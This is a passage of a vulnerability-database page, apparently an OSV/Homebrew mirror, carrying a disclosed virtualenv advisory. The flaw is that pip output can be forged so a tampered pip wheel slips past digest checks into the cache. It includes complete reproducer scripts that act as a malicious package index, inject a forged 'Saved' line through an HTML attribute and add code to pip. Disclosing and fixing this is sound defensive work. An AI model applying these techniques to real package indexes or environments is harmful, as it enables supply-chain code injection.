virtualenv.__main__ import run_with_catch\n\npypi_dir = Path(sys.argv[1])\n\n\ndef pypi_json_api(url, context):\n assert url.startswith(\"https://pypi.org/pypi/\") and context is None, url\n project = url.split(\"/\")[4]\n return (pypi_dir / f\"{project}.json\").open(\"rb\")\n\n\nwith mock.patch(\"virtualenv.seed.wheels.periodic_update.urlopen\", pypi_json_api):\n run_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nA file rejected during download verification can remain available for later cache selection. Exploitation requires\nadditional control over the downloaded data or archive selection; this finding alone does not bypass TLS.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix downloads into a private temporary directory and verifies archive identity, requested version, digest\nwhere applicable, and Python compatibility before promoting a wheel into the reusable cache.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nAfter a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing\nunexpected download failures.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-ST00DRO3.",
"id": "BREW-pre-commit-CVE-2026-113714",
"modified": "2026-10-29T22:35:11Z",
"published": "2026-10-26T09:58:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113714"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/3430"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/virtualenv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "virtualenv: Downloaded wheel selection and caching precede verification",
"upstream": [
"GHSA-494p-63j8-28p3",
"CVE-2026-113714",
"BIT-virtualenv-2026-113714"
]
}
BREW-SICKCHILL-CVE-2026-113714 (GHSA-494P-63J8-28P3)
Vulnerability from osv_homebrew – Published: 2026-10-29 21:44 – Updated: 2026-10-29 21:44 – Source websiteSummary
Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual output. A verification failure does not remove the downloaded file from that cache.
Anthropic's OSS Scanner reported this as ANT-2026-ST00DRO3 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Download selection and promotion into the reusable wheel cache.
Attacker-controlled input
A download must fail verification, or the archive selected from pip output must differ from the file later reused. Default-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI comparison.
Affected code
The relevant 21.14.8 source is in wheel download and digest check.
Mechanism
download_wheel() tells pip to write directly into the reusable wheel/house cache. It then selects a path to hash
from the first Saved line in pip's stdout, rather than from the file pip actually placed there. A package index can
inject such a line through a discarded link's data-requires-python attribute. A separate failure exists without the
forged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain
there. Later wheel selection does not hash the cached file again.
Reproduction and evidence
The scanner used a local index configured in pip.conf, with PyPI digest comparison still enabled. In the control case
it served a modified pip wheel alone. virtualenv --upgrade-embed-wheels refused the mismatch, and a subsequent
environment used the bundled pip. In the attack case the index added a link whose data-requires-python contained a
forged Saved <path> line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded
the modified wheel in its update log, and a later environment's pip --version ran a line added by the index. The
reproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.
The report also shows that a refused wheel can replace a previously accepted file of the same name in wheel/house,
leaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The
gap follows the digest check added in #3251, first released in 21.7.12.
PR #3430 downloads to a private temporary directory, verifies the actual
archive, and promotes it only after acceptance.
Attack sequence
sequenceDiagram
participant I as Configured index
participant P as pip download
participant C as wheel/house cache
participant V as virtualenv digest check
participant N as New environment
I->>P: modified wheel and forged Saved line
P->>C: write modified wheel directly
P-->>V: stdout names genuine bundled wheel
V->>V: hash genuine wheel and accept
V->>C: record modified wheel for reuse
C->>N: seed modified pip without rehash
Note over P,C: Even a rejected wheel can remain in the cache
Reproducer files
The following files are from the scanner report for ANT-2026-ST00DRO3. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import atexit
import hashlib
import json
import os
import shutil
import subprocess
import sys
from pathlib import Path
companions = Path("/tmp/repro.d")
work = Path("/tmp/forged-saved-line")
home = work / "home"
app_data = home / ".cache" / "virtualenv"
this_python = f"{sys.version_info.major}.{sys.version_info.minor}" # the target; each Python has its own update log
update_log_of_pip = app_data / "wheel" / this_python / "embed" / "3" / "pip.json"
virtualenv = [sys.executable, companions / "virtualenv_with_local_pypi_json.py", work / "pypi"]
as_user = {"cwd": home, "env": {"HOME": str(home), "PATH": os.environ["PATH"]}, "capture_output": True, "text": True}
added_code_prints = "code added by the index" # the line index_serves_modified_pip.py adds to pip/__init__.py
def user_upgrades_seed_wheels_and_creates_env():
# each case starts from an empty app-data
shutil.rmtree(app_data, ignore_errors=True)
shutil.rmtree(home / "env", ignore_errors=True)
upgrade = subprocess.run([*virtualenv, "--upgrade-embed-wheels"], **as_user)
# --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach
subprocess.run([*virtualenv, "--no-periodic-update", "env"], **as_user, check=True)
pip_version = subprocess.run([home / "env" / "bin" / "python", "-m", "pip", "--version"], **as_user, check=True)
# one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0
refusal = next((line for line in upgrade.stderr.splitlines() if "but PyPI reports" in line), None)
logged = []
if update_log_of_pip.exists(): # a failed update writes no log
logged = [entry["filename"] for entry in json.loads(update_log_of_pip.read_text())["versions"]]
return refusal, logged, pip_version.stdout.splitlines()
# set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it
shutil.rmtree(work, ignore_errors=True)
(home / ".config" / "pip").mkdir(parents=True)
shutil.copy(companions / "pip.conf", home / ".config" / "pip" / "pip.conf")
subprocess.run([sys.executable, companions / "pypi_json_and_mirror.py", work / "pypi", work / "index"], check=True)
index_server = subprocess.Popen(
[sys.executable, "-u", "-m", "http.server", "8099", "--bind", "127.0.0.1", "--directory", work / "index"],
stdout=subprocess.PIPE,
stderr=subprocess.DEVNULL,
text=True,
)
atexit.register(index_server.kill)
assert index_server.stdout.readline().startswith("Serving HTTP"), "index server did not start" # printed once bound
# control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it
subprocess.run([sys.executable, companions / "index_serves_modified_pip.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
print("CONTROL modified pip: --upgrade-embed-wheels refused with:", refusal)
print("CONTROL modified pip: update log of pip lists", logged)
print("CONTROL modified pip: pip --version in the new env prints", pip_says)
control_ran_added_code = added_code_prints in "\n".join(pip_says)
# attack: the index also adds one link, whose data-requires-python puts a "Saved <path>" line into pip's output
subprocess.run([sys.executable, companions / "index_forges_saved_line.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
stored_wheel = app_data / "wheel" / "house" / "pip-26.0.1-py3-none-any.whl"
stored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()
pypi_sha256 = json.loads((work / "pypi" / "pip.json").read_text())["releases"]["26.0.1"][0]["digests"]["sha256"]
print("OBSERVED + forged line: --upgrade-embed-wheels refused with:", refusal)
print("OBSERVED + forged line: update log of pip lists", logged)
print("OBSERVED + forged line: sha256 of that wheel in wheel/house:", stored_sha256)
print("OBSERVED + forged line: sha256 PyPI publishes for that name:", pypi_sha256)
print("OBSERVED + forged line: pip --version in the new env prints", pip_says)
attack_ran_added_code = added_code_prints in "\n".join(pip_says)
# check: the same modified wheel, refused without the forged line, is seeded with it
print("BUG" if attack_ran_added_code and not control_ran_added_code else "OK")
repro.d/index_forges_saved_line.py
"""Attacker, as the operator of the index the user's pip.conf names: make pip print a "Saved <path>" line of its choice.
usage: index_forges_saved_line.py <index_dir>
Adds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.
"""
import shutil
import sys
from pathlib import Path
# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user's disk: the wheel virtualenv bundles for Python 3.9,
# at the same path for every user of this image
GENUINE_WHEEL_ON_USERS_DISK = "/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl"
index_dir = Path(sys.argv[1])
# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with
# "Discarding <link> (requires-python:<attribute>): ... has inconsistent version" on stdout
shutil.copy(index_dir / "files" / "pip-26.2.1-py3-none-any.whl", index_dir / "files" / "pip-100.0-py3-none-any.whl")
# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; is a line feed
with (index_dir / "simple" / "pip" / "index.html").open("a") as page:
page.write(
'<a href="/files/pip-100.0-py3-none-any.whl"'
f' data-requires-python=" Saved {GENUINE_WHEEL_ON_USERS_DISK} ">pip-100.0-py3-none-any.whl</a>\n'
)
repro.d/index_serves_modified_pip.py
"""Attacker, as the operator of the index the user's pip.conf names: serve a modified pip under a genuine name.
usage: index_serves_modified_pip.py <index_dir>
pip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,
virtualenv's comparison with PyPI's SHA-256 catches this.
"""
import hashlib
import io
import sys
import zipfile
from pathlib import Path
ADDED_CODE = b'\nprint("code added by the index runs as uid", __import__("os").getuid())\n'
index_dir = Path(sys.argv[1])
wheel = index_dir / "files" / "pip-26.0.1-py3-none-any.whl"
genuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))
with zipfile.ZipFile(wheel, "w") as modified:
for entry in genuine.infolist():
content = genuine.read(entry)
if entry.filename == "pip/__init__.py":
content += ADDED_CODE
modified.writestr(entry, content)
# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip's
# download folder first, and pip replaces a file of the same name there only when the link's digest differs
sha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()
(index_dir / "simple" / "pip" / "index.html").write_text(
f'<!DOCTYPE html>\n<a href="/files/{wheel.name}#sha256={sha256}">{wheel.name}</a>\n'
)
repro.d/pip.conf
[global]
index-url = http://127.0.0.1:8099/simple
repro.d/pypi_json_and_mirror.py
"""Setup: what PyPI's JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.
usage: pypi_json_and_mirror.py <pypi_dir> <index_dir>
The wheels bundled with virtualenv are genuine PyPI files. <pypi_dir>/<project>.json is what
https://pypi.org/pypi/<project>/json answers for them, with the digests of virtualenv's BUNDLE_SHA256 table.
<index_dir> is a PEP 503 tree (simple/<project>/index.html, files/) that offers exactly these files.
"""
import json
import shutil
import sys
import zipfile
from email.parser import HeaderParser
from html import escape
from pathlib import Path
from virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256
pypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])
pypi_dir.mkdir()
(index_dir / "files").mkdir(parents=True)
for project in ("pip", "setuptools"):
releases, links = {}, []
for filename, sha256 in BUNDLE_SHA256.items():
name, version = filename.split("-")[:2]
if name != project:
continue
shutil.copy(BUNDLE_FOLDER / filename, index_dir / "files")
releases[version] = [{"filename": filename, "digests": {"sha256": sha256}, "upload_time": "2026-01-01T00:00:00"}]
with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:
metadata = HeaderParser().parsestr(wheel.read(f"{name}-{version}.dist-info/METADATA").decode())
requires_python = escape(metadata["Requires-Python"])
links.append(f'<a href="/files/{filename}#sha256={sha256}" data-requires-python="{requires_python}">{filename}</a>')
(pypi_dir / f"{project}.json").write_text(json.dumps({"releases": releases}))
(index_dir / "simple" / project).mkdir(parents=True)
(index_dir / "simple" / project / "index.html").write_text("<!DOCTYPE html>\n" + "\n".join(links) + "\n")
repro.d/virtualenv_with_local_pypi_json.py
"""Setup: the virtualenv command line, with PyPI's JSON API answered from local files because there is no network.
usage: virtualenv_with_local_pypi_json.py <pypi_dir> <virtualenv arguments...>
Only the request for https://pypi.org/pypi/<project>/json is replaced: it is answered from <pypi_dir>/<project>.json.
pip, the index pip talks to and the rest of virtualenv are the real thing.
"""
import sys
from pathlib import Path
from unittest import mock
from virtualenv.__main__ import run_with_catch
pypi_dir = Path(sys.argv[1])
def pypi_json_api(url, context):
assert url.startswith("https://pypi.org/pypi/") and context is None, url
project = url.split("/")[4]
return (pypi_dir / f"{project}.json").open("rb")
with mock.patch("virtualenv.seed.wheels.periodic_update.urlopen", pypi_json_api):
run_with_catch(sys.argv[2:])
Impact
A file rejected during download verification can remain available for later cache selection. Exploitation requires additional control over the downloaded data or archive selection; this finding alone does not bypass TLS.
Severity: low.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix downloads into a private temporary directory and verifies archive identity, requested version, digest where applicable, and Python compatibility before promoting a wheel into the reusable cache.
Fix: PR #3430.
Known mitigation
After a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing unexpected download failures.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-ST00DRO3.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "virtualenv",
"resource_purl": "pkg:pypi/virtualenv@21.14.13",
"upstream_fixed_in": "21.14.9"
},
"package": {
"ecosystem": "Homebrew",
"name": "sickchill",
"purl": "pkg:brew/sickchill"
},
"ranges": [
{
"events": [
{
"introduced": "2026.10.8"
},
{
"fixed": "2026.10.8_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/virtualenv@21.14.13",
"name": "virtualenv",
"resource": "virtualenv",
"strategy": "registry",
"subject_version": "21.14.13"
}
]
},
"details": "## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip\u0027s textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip\u0027s stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link\u0027s `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved \u003cpath\u003e` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment\u0027s `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant I as Configured index\n participant P as pip download\n participant C as wheel/house cache\n participant V as virtualenv digest check\n participant N as New environment\n I-\u003e\u003eP: modified wheel and forged Saved line\n P-\u003e\u003eC: write modified wheel directly\n P--\u003e\u003eV: stdout names genuine bundled wheel\n V-\u003e\u003eV: hash genuine wheel and accept\n V-\u003e\u003eC: record modified wheel for reuse\n C-\u003e\u003eN: seed modified pip without rehash\n Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = f\"{sys.version_info.major}.{sys.version_info.minor}\" # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\" # the line index_serves_modified_pip.py adds to pip/__init__.py\n\n\ndef user_upgrades_seed_wheels_and_creates_env():\n # each case starts from an empty app-data\n shutil.rmtree(app_data, ignore_errors=True)\n shutil.rmtree(home / \"env\", ignore_errors=True)\n upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n logged = []\n if update_log_of_pip.exists(): # a failed update writes no log\n logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n return refusal, logged, pip_version.stdout.splitlines()\n\n\n# set up: PyPI\u0027s answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"index\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n text=True,\n)\natexit.register(index_server.kill)\nassert index_server.stdout.readline().startswith(\"Serving HTTP\"), \"index server did not start\" # printed once bound\n\n# control: the index serves a modified pip 26.0.1, and virtualenv\u0027s comparison with PyPI\u0027s SHA-256 refuses it\nsubprocess.run([sys.executable, companions / \"index_serves_modified_pip.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nprint(\"CONTROL modified pip: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"CONTROL modified pip: update log of pip lists\", logged)\nprint(\"CONTROL modified pip: pip --version in the new env prints\", pip_says)\ncontrol_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# attack: the index also adds one link, whose data-requires-python puts a \"Saved \u003cpath\u003e\" line into pip\u0027s output\nsubprocess.run([sys.executable, companions / \"index_forges_saved_line.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nstored_wheel = app_data / \"wheel\" / \"house\" / \"pip-26.0.1-py3-none-any.whl\"\nstored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()\npypi_sha256 = json.loads((work / \"pypi\" / \"pip.json\").read_text())[\"releases\"][\"26.0.1\"][0][\"digests\"][\"sha256\"]\nprint(\"OBSERVED + forged line: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"OBSERVED + forged line: update log of pip lists\", logged)\nprint(\"OBSERVED + forged line: sha256 of that wheel in wheel/house:\", stored_sha256)\nprint(\"OBSERVED + forged line: sha256 PyPI publishes for that name:\", pypi_sha256)\nprint(\"OBSERVED + forged line: pip --version in the new env prints\", pip_says)\nattack_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# check: the same modified wheel, refused without the forged line, is seeded with it\nprint(\"BUG\" if attack_ran_added_code and not control_ran_added_code else \"OK\")\n```\n\n**`repro.d/index_forges_saved_line.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: make pip print a \"Saved \u003cpath\u003e\" line of its choice.\n\nusage: index_forges_saved_line.py \u003cindex_dir\u003e\n\nAdds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.\n\"\"\"\n\nimport shutil\nimport sys\nfrom pathlib import Path\n\n# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user\u0027s disk: the wheel virtualenv bundles for Python 3.9,\n# at the same path for every user of this image\nGENUINE_WHEEL_ON_USERS_DISK = \"/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl\"\n\nindex_dir = Path(sys.argv[1])\n\n# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with\n# \"Discarding \u003clink\u003e (requires-python:\u003cattribute\u003e): ... has inconsistent version\" on stdout\nshutil.copy(index_dir / \"files\" / \"pip-26.2.1-py3-none-any.whl\", index_dir / \"files\" / \"pip-100.0-py3-none-any.whl\")\n\n# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; \u0026#10; is a line feed\nwith (index_dir / \"simple\" / \"pip\" / \"index.html\").open(\"a\") as page:\n page.write(\n \u0027\u003ca href=\"/files/pip-100.0-py3-none-any.whl\"\u0027\n f\u0027 data-requires-python=\"\u0026#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}\u0026#10;\"\u003epip-100.0-py3-none-any.whl\u003c/a\u003e\\n\u0027\n )\n```\n\n**`repro.d/index_serves_modified_pip.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: serve a modified pip under a genuine name.\n\nusage: index_serves_modified_pip.py \u003cindex_dir\u003e\n\npip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,\nvirtualenv\u0027s comparison with PyPI\u0027s SHA-256 catches this.\n\"\"\"\n\nimport hashlib\nimport io\nimport sys\nimport zipfile\nfrom pathlib import Path\n\nADDED_CODE = b\u0027\\nprint(\"code added by the index runs as uid\", __import__(\"os\").getuid())\\n\u0027\n\nindex_dir = Path(sys.argv[1])\nwheel = index_dir / \"files\" / \"pip-26.0.1-py3-none-any.whl\"\n\ngenuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))\nwith zipfile.ZipFile(wheel, \"w\") as modified:\n for entry in genuine.infolist():\n content = genuine.read(entry)\n if entry.filename == \"pip/__init__.py\":\n content += ADDED_CODE\n modified.writestr(entry, content)\n\n# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip\u0027s\n# download folder first, and pip replaces a file of the same name there only when the link\u0027s digest differs\nsha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()\n(index_dir / \"simple\" / \"pip\" / \"index.html\").write_text(\n f\u0027\u003c!DOCTYPE html\u003e\\n\u003ca href=\"/files/{wheel.name}#sha256={sha256}\"\u003e{wheel.name}\u003c/a\u003e\\n\u0027\n)\n```\n\n**`repro.d/pip.conf`**\n\n```text\n[global]\nindex-url = http://127.0.0.1:8099/simple\n```\n\n**`repro.d/pypi_json_and_mirror.py`**\n\n```text\n\"\"\"Setup: what PyPI\u0027s JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.\n\nusage: pypi_json_and_mirror.py \u003cpypi_dir\u003e \u003cindex_dir\u003e\n\nThe wheels bundled with virtualenv are genuine PyPI files. \u003cpypi_dir\u003e/\u003cproject\u003e.json is what\nhttps://pypi.org/pypi/\u003cproject\u003e/json answers for them, with the digests of virtualenv\u0027s BUNDLE_SHA256 table.\n\u003cindex_dir\u003e is a PEP 503 tree (simple/\u003cproject\u003e/index.html, files/) that offers exactly these files.\n\"\"\"\n\nimport json\nimport shutil\nimport sys\nimport zipfile\nfrom email.parser import HeaderParser\nfrom html import escape\nfrom pathlib import Path\n\nfrom virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256\n\npypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])\npypi_dir.mkdir()\n(index_dir / \"files\").mkdir(parents=True)\n\nfor project in (\"pip\", \"setuptools\"):\n releases, links = {}, []\n for filename, sha256 in BUNDLE_SHA256.items():\n name, version = filename.split(\"-\")[:2]\n if name != project:\n continue\n shutil.copy(BUNDLE_FOLDER / filename, index_dir / \"files\")\n releases[version] = [{\"filename\": filename, \"digests\": {\"sha256\": sha256}, \"upload_time\": \"2026-01-01T00:00:00\"}]\n with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:\n metadata = HeaderParser().parsestr(wheel.read(f\"{name}-{version}.dist-info/METADATA\").decode())\n requires_python = escape(metadata[\"Requires-Python\"])\n links.append(f\u0027\u003ca href=\"/files/{filename}#sha256={sha256}\" data-requires-python=\"{requires_python}\"\u003e{filename}\u003c/a\u003e\u0027)\n (pypi_dir / f\"{project}.json\").write_text(json.dumps({\"releases\": releases}))\n (index_dir / \"simple\" / project).mkdir(parents=True)\n (index_dir / \"simple\" / project / \"index.html\").write_text(\"\u003c!DOCTYPE html\u003e\\n\" + \"\\n\".join(links) + \"\\n\")\n```\n\n**`repro.d/virtualenv_with_local_pypi_json.py`**\n\n```text\n\"\"\"Setup: the virtualenv command line, with PyPI\u0027s JSON API answered from local files because there is no network.\n\nusage: virtualenv_with_local_pypi_json.py \u003cpypi_dir\u003e \u003cvirtualenv arguments...\u003e\n\nOnly the request for https://pypi.org/pypi/\u003cproject\u003e/json is replaced: it is answered from \u003cpypi_dir\u003e/\u003cproject\u003e.json.\npip, the index pip talks to and the rest of virtualenv are the real thing.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom virtualenv.__main__ import run_with_catch\n\npypi_dir = Path(sys.argv[1])\n\n\ndef pypi_json_api(url, context):\n assert url.startswith(\"https://pypi.org/pypi/\") and context is None, url\n project = url.split(\"/\")[4]\n return (pypi_dir / f\"{project}.json\").open(\"rb\")\n\n\nwith mock.patch(\"virtualenv.seed.wheels.periodic_update.urlopen\", pypi_json_api):\n run_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nA file rejected during download verification can remain available for later cache selection. Exploitation requires\nadditional control over the downloaded data or archive selection; this finding alone does not bypass TLS.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix downloads into a private temporary directory and verifies archive identity, requested version, digest\nwhere applicable, and Python compatibility before promoting a wheel into the reusable cache.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nAfter a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing\nunexpected download failures.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-ST00DRO3.",
"id": "BREW-sickchill-CVE-2026-113714",
"modified": "2026-10-29T21:44:32Z",
"published": "2026-10-29T21:44:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113714"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/3430"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/virtualenv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "virtualenv: Downloaded wheel selection and caching precede verification",
"upstream": [
"GHSA-494p-63j8-28p3",
